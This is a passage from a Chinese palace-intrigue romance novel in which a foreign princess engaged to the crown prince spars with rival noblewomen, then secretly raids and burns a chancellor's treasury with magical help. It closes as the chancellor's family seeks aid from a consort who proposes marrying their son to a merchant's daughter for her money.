“母亲,我忍不了,好不容易才毁了她的名声让太子对她生了嫌隙,现在我们高家还要出手压制谣言,我真的是要气死了。” 高夫人听得眼里闪过一道光芒,晚宁为何一次又一次的提起太子。 “晚宁 ,你为什么这么看重她与太子生了嫌隙?” 目光一直打量着高晚宁。 “这两年给你看的婚事你都推脱不喜欢,让你嫁给秦王你也不愿意,你不会对太子………” 高晚宁心里一慌。 “我没有,母亲你想多了,我不想谈论婚事,是因为我想陪伴在母亲和父亲的身边,不是因为太子。” 高夫人又看了看她。 “最好对太子没有那个心,不然你父亲会打死你的,我们高家扶持秦王这么多年,与太子早已经是对立之势,你若对太子生出不该有的心思,便是将整个高家置于火坑之上。” 高夫人语气严肃,目光中带着不容置疑的威严。 高晚宁心中一颤,却仍倔强地别过头去,不愿承认那份深藏心底的情愫。 “母亲,我都说了没有,没有,而且我不过就是一个弱女子罢了,怎么就与太子牵扯有这么严重的后果?” 高夫人听得一脸犀利的看着高晚宁。 “晚宁…………” “这些年高家能够在朝堂上站稳脚跟,除了你父亲在朝中的斡旋,还有秦王殿下在背后的支持,皇上有意无意的扶持,若你与太子有所牵连,秦王殿下会如何想我们高家?皇上又会如何想高家?” “届时,我们高家多年的经营便会毁于一旦,你明白吗?” 高夫人语气愈发严厉,试图让高晚宁认清现实。 高晚宁咬着唇,泪水在眼眶中打转,自己何尝不知道,皇上宠爱姑母和表哥,这才一直扶持高家给表哥做后盾,若是自己真与太子…………皇上一定会疑心高家有二主之心。 “我明白,母亲,你不用提醒我明白的。” 高夫人见状,心中虽有所不忍,却也明白此时必须狠下心来。她轻叹一声,道。 “晚宁,高门贵女的婚事从来都不是为了情情爱爱的,母亲知道你心中委屈,但为了高家,为了你自己的未来,你必须清醒一些,等过些时日,母亲再为你寻一门好亲事,让你风风光光地嫁出去。” 高晚宁缓缓开口。 “母亲,婚事可有慢慢看,现在重要的是这两日凰仪公主就要来高家做客了,女儿真的不想招待她。” 高夫人听了沉思片刻。 “她指名要跟你交朋友,你不接待也得接待,不然人家会说高家的女儿没有涵养,不过你若是不想一个人接待,可以喊上你的小姐妹介绍给凰仪公主认识,母亲记得你与秦王妃关系也不错。” 高晚宁听得眼里一亮,顾思娴,那可是差点就与太子成亲的人,更是与太子青梅竹马长大的,俩人之间还送过许多礼物,如果凰仪公主要当太子妃 ,不信顾思娴就甘心昔日所爱之人被她人霸占。 “母亲,女儿明白了,多谢母亲提醒。” 第九十四章 情敌提醒 太子府。 陈先生朝商玄澈拱手。 “太子殿下,皇城里关于凰仪公主的谣言已经被压下去了,现在已经极少有人在提起,我们的人查到了,是高家那边出手了。” 商玄澈闻言嘴角勾起一抹自豪的笑意。 “果然,还得是若若,不费吹灰之力就让高家自己收拾烂摊子。” 陈先生闻言露出姨母般的笑意,扇子轻轻地摇曳着。 “太子殿下能够得凰仪公主这般的贤内助,往后也会越来越好的。” 想到这几日自己与她一起吃饭,偶尔还能与她一起练剑,商玄澈脸上的笑意更甚了。 “若若的确是一个很好的妻子。” “或许她就是上天安排来与本宫相遇的。” 太子府的院子里。 沈安若依旧在练剑,今日没有下雪,但是依旧很冷,沈安若迎着寒风,身轻如燕,手中的长剑在她手中宛如活物,如蛟龙出海带着肃杀之气。 沈安若一套剑法练完,收剑而立,微微喘息着,额头上渗出细密的汗珠,脸颊也被寒风吹得泛起红晕,却更添了几分娇艳。 玉儿上前给她递上了手帕。 “公主,你这也太厉害了,奴婢在一旁看得心惊胆颤的。” 沈安若接过手帕擦了擦脸上的汗珠。 “那有没有迷倒你?” 玉儿听了一脸可爱的点了点头。 “迷倒了迷倒了,奴婢恨不得嫁给殿下。” 翡儿给沈安若端来一杯热茶。 “殿下。” 然后看向玉儿。 “就你?轮得到你?” “殿下这般天姿,真娶也不能娶你。” 玉儿听了急忙开口。 “殿下若是男子,那我就给殿下当妾。” 翡儿看着玉儿看着沈安若两眼放光的样子,开口毫不留情的打击道。 “可惜了,殿下不是男子,殿下还要嫁人了。” 玉儿听了愤恨的看了一眼翡儿,又一脸委屈巴巴的看着沈安若。 “殿下,你看她。” 看着二人的日常斗嘴,沈安若喝了茶,微笑着摇了摇头。 剑兰走过来恭敬的拱手。 “殿下,外面的谣言已经被压下去了。” 沈安若听了嘴角勾起一抹笑意。 “果然不愧是一手遮天的高家,这解决问题的速度就是快。” “备车,该去去找高小姐喝一个下午茶了。” 高家。 高晚宁与顾思娴从早上等到了中午,又从中午等到了下午,还不见沈安若上门。 高晚宁只感觉自己的耐心已经被耗尽了。 “到底还来不来?说好的今日上门喝茶,现在都不见人影,这凰仪公主莫非不是在耍人不成?” 顾思娴一旁安抚到。 “或许公主只是被什么事情耽搁了,咱们再耐心的等一等。” 高晚宁听了愤恨不平的开口。 “她能有什么事,无非就是准备与太子的婚事,这两日我可是都让人打听,太子居然还在重视她,让人准备了许多的聘礼,听说因为她在天元没有娘家,太子连带嫁妆都替她准备了。” 高晚宁这话一出来,顾思娴手里的茶杯一下子就打翻了,手里的热茶将她的指腹烫红了一片。 见如此失态,高晚宁急忙去拿她她的手查看。 “你怎么样?有没有烫伤?” “来人,快去取药来。” 顾思娴这个丫鬟递过来的手帕,擦拭了一下手。 “无碍。” 高晚宁听了却看着她烫红的指腹开口。 “这怎么无碍了?这都烫红了,听我的,擦上一些药。今日本来是叫你来与我一起招待凰仪公主的,没想到她自己说要来我家拜访,又如此的端公主的架子,太子殿下娶到她这样的太子妃,真的是倒八辈子血霉了。” 顾思娴神色落寞,如果不是因为…………现在嫁给玄澈哥哥当太子妃的就是自己了。 “她到底是太子妃,你别这么说。” 高晚宁一脸的不服。 “就她那样,有什么资格当太子妃?动不动就晕倒,动不动就惹事,给太子招惹麻烦。” 然后看着顾思娴。 “相比太子妃是她,我倒宁愿是你…………” 顾思娴急忙捂住了高晚宁的嘴。 “晚宁,你可莫要胡说,我现在是秦王妃。” 高晚宁听了压低了声音开口。 “你怕什么?这屋子里都是咱们自小的贴身丫鬟,还能有谁说出去不成?” 顾思娴听了看着高晚宁。 “晚宁,你若是真的拿我当朋友,此事以后就不要提了,如今我是秦王妃,我要当好秦王妃。” 高晚宁听了凑近她。 “那你就忘记太子了吗?” “你们这么多年的情谊,要知道,太子每次在战场上回来的时候都会给你带礼物,他每一次出战你都会去送行,给他送上平安符,甚至你父亲在战场上还救过他,你们本就应该是…………” 顾思娴听了忍不住心里一痛,自己何尝不想成为商玄澈的妻子,但命运弄人,就在皇后要与母亲商议与太子的婚事的时候,忽然一道赐婚圣旨,自己就成为了秦王妃。 顾家本来就手握兵权,若是抗旨,必会引起皇上忌惮,为了家族,自己只能嫁入秦王府,可是因为自己与太子过去的事情,秦王对自己一直都冷淡如冰。 “那都是过去的事情了,而且我父亲救太子殿下,不过是做了一个臣子该做的事情罢了,过往的一切,随着我成为秦王妃,便应该烟消云散。” 高晚宁听了一脸的惋惜。 “唉,当真是造化弄人,那个凰仪公主比起你差远了。” “不过你与太子殿下青梅竹马,哪怕是没有男女之情,也应该有兄妹之情,今日等她到了以后,咱们还是稍微提点提点,让凰仪公主少给太子殿下惹麻烦。” 正当两人说着,门外突然传来一阵急促的脚步声,紧接着是下人通报的声音。 “小姐,凰仪公主到了。” 高晚宁与顾思娴对视一眼,迅速整理好情绪,起身相迎。 沈安若身着一袭淡紫色长裙,外罩白色狐裘,步伐轻盈地步入厅内,脸上挂着一抹淡淡的笑意。 “高小姐。” 目光又看向顾思娴。 “这位是秦王妃?” 在宴会上的时候自己留意过。 高晚宁急忙开口道。 “是这样的,姑母让我好好的招待你,我又怕有招待不周的地方,这才想着让表嫂过来一起喝茶聊天。” 沈安若听了笑着点了点头。 “原来如此,不过高小姐不必紧张,本宫是一个很随和的人。” 随后看向顾思娴。 “不过,本宫近日以来听说秦王妃才华横溢,是天元出了名的才女,今日能够与秦王妃一起喝茶,本宫这心里也是很高兴的。” 顾思娴温婉的福身。 “凰仪公主过奖了,快请坐。” 沈安若笑着坐下。 丫鬟很快上前斟茶,沈安若端起茶杯慢悠悠的喝了一口茶。 “高小姐,在屋里坐着不免有些无趣,早就听说了高家的园林风韵别具一格,不知高小姐可否带本宫逛逛。” 高晚宁心中虽不情愿,却也不好拒绝,只得强颜欢笑道。 “公主有此雅兴,晚宁自当相陪。” 说罢,起身引路,一行人缓缓步入高家的后院。 园林内,冬日虽无繁花似锦,却也别有一番清冷之美。 假山石错落有致,小桥流水潺潺,即便是在这寒风凛冽之时,也透出一股宁静致远的意境。 沈安若漫步其间,时而驻足观赏,时而轻触枝头,仿佛对每一处景致都充满了好奇与欣赏,暗中却将整个高家的布置记了下来。 “果然高家底蕴深厚,前院大厅书房住院,两侧坐落着不同的别有风味的院子,后方乃是库房仓库吧,这可是有名的风水局。” 高晚宁听得一脸自豪的开口。 “那是,这可是我父亲特意找人布局的。” 顾思娴却一路打量着沈安若对高家好奇的目光,心里忍不住有了几分鄙夷,果然是小国来的,一副没有见过世面的模样,这样的人怎么配的上玄澈哥哥? “晚宁,这梅花开得还不错,我记得你煮得一手好茶,不如你亲自煮上一壶茶,再让丫鬟送来一些糕点来,我们几人坐下一起说说话。” 高晚宁嘴角露出一抹笑容,看来顾思娴这是要单独跟凰仪公主说话。 “还是秦王妃想的周到,我这就去安排。” 待高晚宁走远。 顾思娴看着走远了的高晚宁,看着凰仪公主缓缓开口。 “听说太子殿下不只是给公主准备了聘礼,还给公主准备了嫁妆,得如此贴心疼爱自己的夫婿,凰仪公主还真是让人羡慕不已。” 怎么感觉这话里一股酸味?沈安若笑着开口。 “太子身为本宫的夫君,自然是会心疼本宫远嫁的不易的。” 顾思娴闻言沉默片刻,才缓缓开口。 “公主,太子殿下心疼你远嫁的不易,希望公主也能心疼太子殿下在朝堂的不易,公主金枝玉叶,性子矫情一些可以理解的,但是不能因为公主的矫情总给太子殿下招惹麻烦。” 第九十五章 怼情敌 难怪高晚宁会让顾思娴前来一起作陪,原来打的是这个主意,沈安若直视着顾思娴,眼里的笑意意味深长了起来。 顾思娴被她看得有几分不自在,捏着手帕的手紧了紧。 “公主这般看着我做什么?难道我说的不对吗?” 沈安若嘴角那淡淡的笑意未减半分,可是眼里却带上了若有若无的讥讽。 “秦王妃所言极是,太子对本宫的好,本宫会铭记于心,并且回馈以同样的热情与包容理解,不过秦王妃…………” 秦王妃几个字被沈安若咬得极重,甚至她的目光似乎能够穿透人心。 “本宫觉得以往的时候太过于高看秦王妃了。” 顾思娴面色微变。 “你是什么意思?” 沈安若缓缓开口。 “秦王妃,你说秦王要是知道你还关心太子,会怎么样?” 顾思娴脸上一下子有了一抹慌乱。 “你……………” “不过是姐妹之间茶话罢了,凰仪公主也非要上纲上线的闹腾吗?” 沈安若似笑非笑的看着她。 “本宫跟你开个玩笑罢了,你慌什么?” 顾思娴捏着手中的手帕,低眉的眼里闪过一抹不安。 沈安若看了看她,继续开口。 “从南诏到天元的皇城山高路远,这一路太子与本宫说过他过往的所有事情,所以本宫对顾小姐略有耳闻。” “顾小姐出身将门世家,据说以前的时候,身上总透露着几分英姿飒爽之意,引得天元的男儿都倾慕不已,就连太子殿下已将顾小姐当作妹子来对待。” “甚至跟本宫说,顾小姐不懂宅子里的那些弯弯绕绕,希望本宫也能够将顾小姐当妹妹来看待,往后能够护上几分,如今看来,这后宅后宫的事情顾小姐可比本宫这个异国他乡的公主懂太多了。” 只是当妹妹吗?顾思娴脸色苍白了几分。 “才不是这样的,我与玄澈哥哥……………” 沈安若看着她的眼睛开口打断她的话。 “顾小姐。” “你的父亲是天元手握兵权的顾将军,你说话可要三思而行啊。” “切莫因为你的一些言论,给顾家添了麻烦。” 顾思娴被气得眼眶发红。 “你………” 沈安若看着她继续开口。 “顾小姐,本宫知晓太子的过往,对于本宫而言,太子的过往怎么样本宫不关心,本宫只关心她身边往后站的人是不是本宫?” “到底你与太子自小一起长大,本宫今日就当是替太子提醒你一句,这天元的局势你心里清楚,既然秦王妃已经做出了选择,可要好好的记住了自己的身份,毕竟,本宫就算招惹了麻烦,本宫也能的出手解决,但是秦王妃的身份,若是不知谨言慎行,不止害了自己,也会害了别人。” 看着已经走的越来越近的高晚宁,沈安若又看了一眼顾思娴。 “另外,不要被别人当枪使了还不知道。” 高晚宁此时走过来就见顾思娴脸色苍白,急忙关切的开口。 “表嫂,你这是怎么了?怎么眼睛都红了?是谁欺负你了?你告诉我!” 顾思娴急忙摇了摇头。 “没事,只是刚刚被寒风吹到了眼睛。” 沈安若看了她一眼,顾思娴,希望你不是一个蠢的。 又看了看四处院子的布置。 “今日多谢高小姐的招待,也多谢秦王妃的陪伴,本宫还跟太子说好了要一起用晚膳的,今日就先告辞了,改日再找二位一起茶花。” 话落,沈安若便转身,步伐从容地朝着院外走去。 高晚宁望着沈安若离去的方向,眉头微微蹙起,心中暗自揣测着刚刚这两人之间究竟发生了什么,忍不住目光看向了顾思娴。 “表嫂,她到底跟你说什么了?把你气成这样。” 顾思娴咬了咬嘴唇,心中五味杂陈,沈安若说话的确不好听,可是她说的是事实,顾家已经选择秦王府了,哪怕这个选择不是自己愿意,可自己已经是秦王妃了,若是让秦王知道自己还关注太子的事情,只怕往后在秦王府日子难过的就是自己了。 “没什么,与凰仪公主无关,可能在这里吹风太久,我感觉有一些冷,所以脸色不太好看罢了。” “天色不早了,今日我也先回去了,改日有时间咱们再叙旧。” 沈安若这个瘟神都走了,倒是也没有必要继续强留顾思娴了,高晚宁点了点头,一脸笑意的开口。 “那我送送表嫂…………………” 直到坐在了马车上。 马车缓缓行走。 顾思娴的眼泪才忍不住落了下来。 丫鬟素素急忙递上手帕。 “王妃,您别哭,那个凰仪公主说话也太过分了,你不过就是好心提醒她,她却好心当做驴肝肺,不如咱们不回秦王府了,咱们去将军府,找将军…………” 顾思娴听得微微摇头。 “是我僭越了。” “我与太子早已经是过去式了,今日我不该来高家的。” 自己又何尝看不明白,高晚宁这是利用自己来恶心凰仪公主。 “往后,高晚宁的帖子就推了吧。” 自己是大小就跟在小姐身边的人,素素看着顾思娴这样忍不住心疼起来。 “小姐,这真的是造化弄人,原本你应该与太子殿下有情人终成眷属的………………” 顾思娴目光犀利的看向素素。 “住嘴,以后不许在提起太子。” “我不能给顾家和太子招惹麻烦。” 说完别过脸,可是眼泪掉的更厉害了。 这让自己如何不遗憾?明明自己就等着太子来下聘,可是等来的是皇上将自己赐婚给秦王的赐婚圣旨,自己哭过闹过,可那是圣旨啊,顾家不能抗旨。 听完父亲跟自己分析局势以后,自己不嫁也得嫁,毕竟顾家手握兵权,若是与太子联姻,皇上不会留着顾家的,顾家只能听皇上的话,扶持皇上喜欢的秦王。 太子府的马车里。 王司记打量着沈安若,语气带着担忧的开口。 “公主,你没事吧?” 沈安若抬手拿出一把瓜子磕起来。 “本宫能有什么事?姨母还怕本宫难过啊?” 王司记叹了一口气。 “妾身这些日子将皇城的事情都了解的差不多了,这秦王妃原本就是皇后给太子定的太子妃,可是被秦王截胡了,甚至妾身还打听到,太子与这顾小姐情谊不一般………” 沈安若将自己手里的瓜子递过去,放了一半在王司记手里。 “不论他们过往的情谊如何,那都是过去的事情了,本宫那个时候与太子都不曾相识,往后我们又是一条船上的人,若是要去纠结彼此的过往,也不过是徒增烦恼罢了。” 王司记听的眼里闪过一抹诧异。 “倒是妾身糊涂了,还是公主通透,不过那秦王妃…………公主以后可有何打算?” 沈安若嗑着瓜子缓缓开口。 “不过都是身不由己的人罢了,希望今日她能够明白我的意思,往后她只要不放到本宫的面前,大家便井水不犯河水。” “至于太子…………” 沈安若嗑了一颗瓜子,停顿了一下。 “目前处着还行,往后慢慢看吧,原本就是为了两国和平而和亲的,他若是真心爱护本宫,本宫也会拼尽全力护着他,可他要是怀念旧人,本宫就换一个新人好了。” 听着沈安若语气里面的洒脱之词,王司记露出一抹笑意。 “公主这般豁达通透,倒是妾身瞎担忧了。” 马车到了太子府。 一进府就见商玄澈迎上来,看来是早就让人看到马车回来就通报了。 “若若。” 商玄澈一脸笑意的唤了沈安若一声,上前牵着她的手。 “今日去高家感觉怎么样?高家可有人给你添堵。” 沈安若偏头看着他的脸,带着几分傲娇的意味。 “怎么?还怕我吃亏啊!” “放心吧,我这性子也没有人能让我吃亏,不过就是与高小姐还有秦王妃喝了一下午的茶罢了。” 秦王妃,商玄澈脸色有了一抹不自然。 “秦王妃也去了吗?” 沈安若点了点头。 “对啊,也去了,还跟我说了不少话。” 此时已经走入了用饭的大厅,商玄澈牵着沈安若的手一紧。 “若若…………” 随即开口。 “所有人都退下,本宫有话要跟公主说。” 第九十六章 谢礼 屋里伺候的人都退了下去,商玄澈才看着沈安若开口。 “若若,秦王妃与我早些年相识,因为一次战事,是顾将军救了我,母后也有意让两家联姻,便来往勤快了一些,可是后来她被父皇赐婚给秦王,我也去南召接你了,我与她就再无交集。” 拉着沈安若的手,带着几分紧张的看着她的脸。 “若若,从赐婚的那一刻开始,我的妻子就只会是你,你别生气……………” 嗯,还知道解释清楚,长嘴了,这样相处起来倒是也简单,沈安若笑着开口。 “放心吧,我没有生气,都是过去的事情了,谁还没有一点过去?要是揪着对方过去的事情不放,那不是自寻烦恼吗?” “不过你以后还是要与她保持距离的,这倒不是我吃醋,而是她现在的身份,秦王又像一条毒蛇一样的盯着你,寻了机会就想上来咬一口,为了她好也是为了你自己好,往后你们怕是就……………” 商玄澈急忙开口。 “你放心吧,我不会见她的。” “天色不早了,已经到了,用晚上的时间了,你等一下还要喝药呢,咱们先吃饭。” 很快商玄澈吩咐人上菜,二人坐在一起用膳。 沈安若想着今日在高家看到的布局,库房的地方自己倒是记住位置了,但是高家的守卫可不少,明里暗里的都是人。 以自己现在的武功,好像没有十足的把握可以全身而退,不过好在有空间辅助,应该问题不大,实在不行到时候就躲在空间里面去。 看着她默默吃饭的样子,商玄澈给她夹一筷子菜,有几分不确定的开口。 “你真的没有生气吗?” 沈安若闻言回神抬手给他夹了菜。 “没有生气,我刚刚在想一件事情,你也快吃吧,不然等一下又要忙到很晚了。” 商玄澈闻言缓缓开口道。 “在想什么事情?” 沈安若闻言忽然眼睛一亮的看着他,这不就有帮手了吗?他的武功可比自己强多了,随即眼里又是一抹失落,自己总不能带着太子去偷盗吧?而且空间的事情也不能暴露。 唉! “没什么。” 自己可没有错过她燃起希望又没有了希望的眼神,商玄澈看着她开口。 “你若是觉得有有什么事情不方便跟我说,你就直接告诉我,我能为你做什么?” 沈安若听了沉思片刻。 “真的吗?” 商玄澈点了点头。 “真的,你需要查什么?或者要什么?你可以跟我说?” 沈安若听了又沉思了片刻。 “其实也没什么,就是我心里咽不下这口气,德妃虽然让高家解决了流言的事情,但是她绝对不会就这么算了的,而且我名声受损这么久,高家总要付出一点代价才是。” 商玄澈贴心的继续给她布菜。 “这个简单,明日我就让人参高家一本。” 沈安若听了急忙开口。 “这倒是不用,我自然有我报仇的法子,这样,你陪我去高家玩一趟可好。” 商玄澈看着她开口。 “你要夜探高家?” 沈安若看着她眨了眨眼睛。 “可以吗?” 商玄澈沉思片刻。 “可以。” 是夜,高家夜深人静,唯有巡逻的守卫脚步声在回廊间隐隐回响,打破了夜的沉寂。 沈安若与商玄澈身着夜行衣,悄无声息地穿梭在高家的屋檐瓦顶之上,如同两抹幽灵,避开了所有明岗暗哨。 “若若,你确定库房的位置吗?”商玄澈低声问道,声音在夜风中几乎不可闻。 沈安若轻轻点头,眼里冒着星星,似乎已经看到了无数的银子。 “我白天已经仔细观察过了,库房就在后院西侧,守卫虽多,但我有办法避开他们。” 两人小心翼翼地接近库房,只见库房外灯火通明,守卫们手持长枪,来回巡逻,戒备森严。 沈安若先给商玄澈嘴里塞了一颗药,才从怀中取出一瓶特制的迷香,轻轻吹向守卫,不久,守卫们便一个接一个地倒下,陷入了沉睡。 “你帮我望风。” 商玄澈点了点头。 沈安若这才朝库房走去,用钢丝打开了库房,库房门“吱呀”一声缓缓开启,沈安若猫着腰闪身进去。 商玄澈则警觉地站在暗中,目光锐利地扫视着四周。 库房内,金银珠宝、古玩字画堆积如山,在昏暗的烛光下闪烁着诱人的光芒,沈安若两眼冒星星,急忙抬手将东西都收进了空间里。 然后从空间里拿出好几坛子酒,倒在了地上,还有一旁的架子上。 做完这一切以后,沈安若才出门,飞跃上房顶,揭开一匹瓦,将划燃的火柴连带盒子丢了下去。 然后脚踩房顶,飞跃着离开。 商玄澈默契的跟上。 火柴落入酒坛的瞬间,火焰“轰”地一下窜了起来,在库房内迅速蔓延。 沈安若与商玄澈站在远处的高处,看着那冲天的火光,心中都涌起一股畅快之感。 “这下,高家可有的忙了。”沈安若嘴角上扬,带着一丝狡黠的笑意。 商玄澈看着她,眼中满是宠溺。 “解气了?” 沈安若一脸笑意的点头。 “嗯,太解气了。” 能不解气吗?自己都不敢去想,这到底有多少的银子。 此时高家则一团乱。 那么大的大火烧起来,所有人都惊醒了。 “快,灭火啊,快拿谁来…………” “来人啊,库房着火了!” 高相看着库房的熊熊大火,整个人都不好了。 “我的宝贝啊………………” 太子府。 沈安若回来的路上是笑容都没有断过,一想到有了高家的这么多财产,月清城肯定能够建立起来,自己和姐姐就有家了,心里就忍不住激动。 进了房间,商玄澈拉住她的手,将她壁咚在墙上。 “这么开心。” 沈安若点了点头。 “开心啊,现在高家肯定在疯狂的救火。” 商玄澈另外一只手搂住她的腰。 “那你准备怎么谢谢我?” 沈安若眼里闪过一抹诧异。 ???? “不是你说愿意帮我的吗?” 商玄澈看着她的眼睛。 “若若。” 想到今天晚上得到了许多许多许多的宝物,沈安若微微偏头,一脸可爱的开口。 “好吧,我明天给你挑一份礼物。” 商玄澈撑在墙上的手缓缓滑落到她的脸上,轻轻抚摸着。 “我不要那些俗物!” 这气氛咋感觉不对啊,沈安若的心跳莫名加速,脸颊也微微泛起红晕,可是看着这张离自己很近很近的脸,最终忍不住踮起脚尖,在他的侧脸颊上轻啄了一下。 “那这个礼物可还满意?” 商玄澈伸手捏着她的下巴。 “就这?若若,你这谢得都没有诚意。” 沈安若微微咬了咬唇瓣,仰头看着他。 “那不然………” 话音未落,商玄澈已经低头准确的吻住了她的唇瓣,甚至带着几分轻咬,搂住她腰的手也忍不住收紧…………… 第九十七章 娶商户女 高家一夜都是一片混乱。 容易将大火扑灭了,可库房中的财物都已付之一炬,高相看着那被烧得一片狼藉的院子,心疼得几乎要晕过去。 怒目圆睁,大声咆哮道。 “人呢,看守库房的人呢?为什么库房这么重要的地方会着火?” 高家的管家和下人们都战战兢兢地站在一旁,大气都不敢出。 高夫人急得直掉眼泪。 “老爷,这可怎么办?我们高家这么多年的积攒都没有了,这以后…………” 忽然几个侍卫颤颤抖抖走来。 “老爷…………” 高相猛地转,这几个侍卫都是府中武功最好的,专门安排来看管库房,甚至月列银子都比别的侍卫要多。 高相目光气愤地盯着侍卫,声音中带着压抑不住的怒火。 “说!到底是怎么回事?库房为何会起火?” 侍卫颤抖着跪下,额头紧贴地面,声音中带着几分恐惧。 “回……回老爷,小的们没有偷懒,一直守在库房旁边,可是昨夜突然闻到一股异香,随后便失去了意识,醒来才知道库房被火烧了。” 高相闻言,眉头紧锁,眼神中闪过一丝阴鸷。 这绝非偶然,定是有人蓄意为之。他转身对管家吩咐道。 “立刻加强府中的守卫,给本相查最近都有哪些人出入过高家?另外,去大理寺报案。” 高晚宁看着被烧毁的院子,一脸的难过,忍不住掉眼泪,这库房都烧了,以后自己还能穿漂亮的衣服吗?还能带漂亮的首饰吗? 高夫人疾步走到高相身边。 “老爷,妾身感觉这里面不对劲。” “这库房平日里都是妾身在打理,对于放东西的地方再清楚不过了,就算大火再旺,烧毁的也应该是那些绫罗绸缎,再不济就是珠宝首饰,可是咱们的金子和银子,怎么就像蒸发了一样?总要有一点残余的吧!” 高相听了急忙朝库房的位置走去,亲自扒拉着灰烬。 双手在灰烬中疯狂翻找,指缝间很快沾满了黑色的残渣,可除了灰烬以外,找不到一点被烧的金银器皿碎片。 要知道金银就算大火烧了,也会留下残余,高相的脸色愈发阴沉。 “库房里存放的金银数量庞大,就算被大火烧过,也该有残骸留下,如今却消失得无影无踪,定是有人提前做了手脚,将金银转移,而后放火销毁痕迹!” 高夫人也急忙点头开口。 “老爷分析的是,只怕是有人先将金银财宝盗走,然后放了一把火掩盖偷盗的事实。” 高家可是天元的勋贵人物,一报官,大理寺卿彭大人就亲自带人来了。 当看着高家烧毁的院子眼里带着几分惊讶,怎么烧成了这个样子? 高相一脸苦相的拱手。 “彭大人…………” 彭大人拱手回礼。 “高相。” “下官一直到高家的报案就急忙赶来了,高相的意思是有人故意在高家放火?” 高相听了急忙开口。 “不,本相怀疑不只是放火,是有人偷盗了整个高家的财物,为了掩盖偷盗的事实,然后放火烧了高家的库房。” 彭大人在大理寺办案多年,见过案件无数,一听这话就急忙检查了一番。 的确更像是偷倒以后放的火。 可是高家库房这么多东西,谁又有那个本事不动声色的搬走? “高大人你怀疑的不是没有道理,可是平常人家库房都有人看守,更何况是高家?若是有人先偷盗了财物才放的火,这搬运财物的动静也应该被发现才是。” 高相闻言紧皱着眉头开口。 “这也是本相百思不得其解的地方,就算守在库房的人被迷晕了,高家也还有其他的守卫在巡逻,为什么高家库房的这么多东西,像是凭空消失的一样?” 彭大人绕着被烧毁的库房残骸缓缓踱步,目光锐利地扫视着四周,似乎想要从这满目疮痍中找到一丝蛛丝马迹。 “高大人,此事确实蹊跷。不过,据本官多年办案经验,如此大规模的偷盗,且能做到神不知鬼不觉,背后定有高人指点或是组织严密。高大人不妨想想,最近高家是否得罪了什么人,或者有什么利益冲突,以至于对方要如此大费周章地算计高家?” 高相闻言,眉头紧锁,眼神中闪过一丝复杂的情绪。 他努力回忆着最近发生的事情,却一时想不出有何明显的冲突或得罪之人,就算朝堂上与人有过争议,但是谁有这么大的本事?从高家神不知鬼不觉的搬走整个库房? “彭大人所言极是,只是本相一时也想不出有何人如此胆大妄为,敢对高家下手。不过,高家定会全力配合调查,还请彭大人辛苦找出这幕后黑手。” 彭大人点了点头,随即吩咐手下的差役 “在府中四处搜查,询问下人最近府中异动,另外调查高家最近的访客记录,以及府中人员的动向。” 高夫人则在一旁拉着高晚宁的手,轻声安慰着。 “晚宁,我们梳洗一番,进宫找你姑姑。” 宫里。 德妃一脸的气愤的抱怨着,想着今日一早去给皇后请安,那些妃子对自己的态度已经不如往日,心里更加的憎恨沈安若。 “这个凰仪公主就是一个扫把星。” 秋嬷嬷急忙给她递茶。 “娘娘,消消气,气坏了身子不值当,等到过一些日子,娘娘你再去哄一哄皇上,到时候皇上恢复了娘娘的位份,宫里就无人再敢小瞧娘娘了。” 德妃接过了茶盏,喝了一口,又将茶杯重重的放在桌子上,里面的茶渍都溅了出来。 “还不知道要等到什么时候呢,原本以为太子娶一个异国公主,不会给他带来什么助力,现在看来,恐怕要适得其反了。” 胡嬷嬷继续在一旁劝解道。 “娘娘,她现在刚来天元,为了彰显大国风范,皇上这才对她礼待了几分,等到她与太子大婚以后,皇上很快也会厌恶他的,毕竟皇上对太子……………” 德妃听了脸上的气才消上一些,带上了一抹得意的笑容。 “你说的是,皇上连太子都不喜欢,又怎么会喜欢太子妃呢?” 正说着,宫女来报。 “娘娘,高夫人和高小姐求见。” 德贵妃眉头一皱,这个时候自己是真的不想见人,毕竟刚刚请安的时候已经让人很烦躁了,可是自己也不能将娘家人拒之门外。 “让他们进来吧。” 高夫人和高晚宁一进殿,便跪地行礼,高夫人带着哭腔道。 “娘娘,高家出大事了!” 德贵妃心中一惊,忙问道。 “怎么回事?慢慢说来。” 高夫人将高家库房被烧,金银财宝疑似被盗一事一五一十地说了出来。 德贵妃听后,脸色变得十分难看,高家可是自己的依靠,高家财产都被盗了,这对自己也会有很大的影响。 “竟有此事?到底是谁,有这么大的胆子,敢在高家的头上动土?” 高晚宁在一旁抽抽搭搭地说。 “姑姑,我们睡的正熟,就听说着火了,现在高家的库房化为灰烬,什么都没有了,眼下已经是年下了,各种宴会还有酒席颇多,若是高家拿不出来像样的贺礼,别人背后一定会嘲笑高家,说不一定还会嘲笑姑姑。” 皇城每年的宴会,基本上都是各家夫人小姐聚在一起攀比交际,德妃沉默片刻。 “秋嬷嬷,去给夫人和晚宁取一些首饰来,再将皇上赏赐的浮光锦拿来给晚宁,另外再取三千两银子给高夫人。” 三千两对于高家年底的开支不过就是杯水车薪,高夫人急忙开口。 “臣妇多谢娘娘,只是娘娘,这偌大的高家也不能一直靠着娘娘养着,这案子虽然已经报关大理寺,但是彭大人今日也说了查看起来十分的困难,不知娘娘可否有主意能够救一救高家。” 德妃听得忍不住皱眉,这是嫌赏赐的银子少了。 “高夫人,只是高家的库房被盗了,你的私库还在吧?” “金银财物摆件古董字画之类的东西会收入库房,可是银票应该在你自己手里吧?” 高夫人脸色一僵,眼中闪过一丝慌乱,连忙解释道。 “娘娘,臣妇的私库虽有些银票,可比起库房的损失,不过是九牛一毛啊。而且如今高家上下人心惶惶,处处都要用钱,若不是迫不得已,臣妇也不想来打扰娘娘。” “眼下到了年关,接下来的日子都是参加各种宴会,臣妇结交诸位贵妇人也是为了秦王殿下啊。” 的确高家积攒的人脉就是给秦王积攒的,德妃沉默片刻。 “给晚意娶一个妻子,选一选天元的大商户,娶进门以后让晚意的妻子管家。” 第九十八 你应该喊她一声皇嫂 高夫人听了急忙开口。 “晚意可是丞相府嫡长子啊,这怎么能够娶一个商户女?” “而且若是让商户女管家,只怕高家要遭别人笑话了。” 德妃端起茶杯缓缓喝了一口茶,看着高夫人开口道。 “那也总比高家拮据来的好一些,嫂子 ,本宫知道你心有不甘,可是有的事情总要权衡利弊的。” “现在高家缺少银子,不过就是一个少夫人的名分罢了,先解决了的眼前的困境,往后等到秦王…………高家的身份自然会再上一层楼,到时候想处置一个商户之女,岂不是轻而易举?” “更何况,晚意到时候也可以再娶一个贤惠的妻子。” 